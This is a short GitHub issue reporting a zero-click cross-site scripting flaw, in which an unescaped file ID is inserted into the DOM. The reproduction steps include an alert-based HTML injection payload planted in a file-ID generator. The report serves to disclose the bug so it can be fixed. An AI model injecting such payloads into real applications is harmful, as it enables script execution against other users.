Skip to content

Zeroclick XSS via fileId #29

Description

@moshiax

FileId is inserted directly into the DOM without escaping, allows HTML injection.

How to reproduce

Modify the file ID generator to inject payload

function generateFileId() {
  return 'file_' + Date.now() + '_"><img src=x onerror=alert("XSS")>';
}

Send any file
Image

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions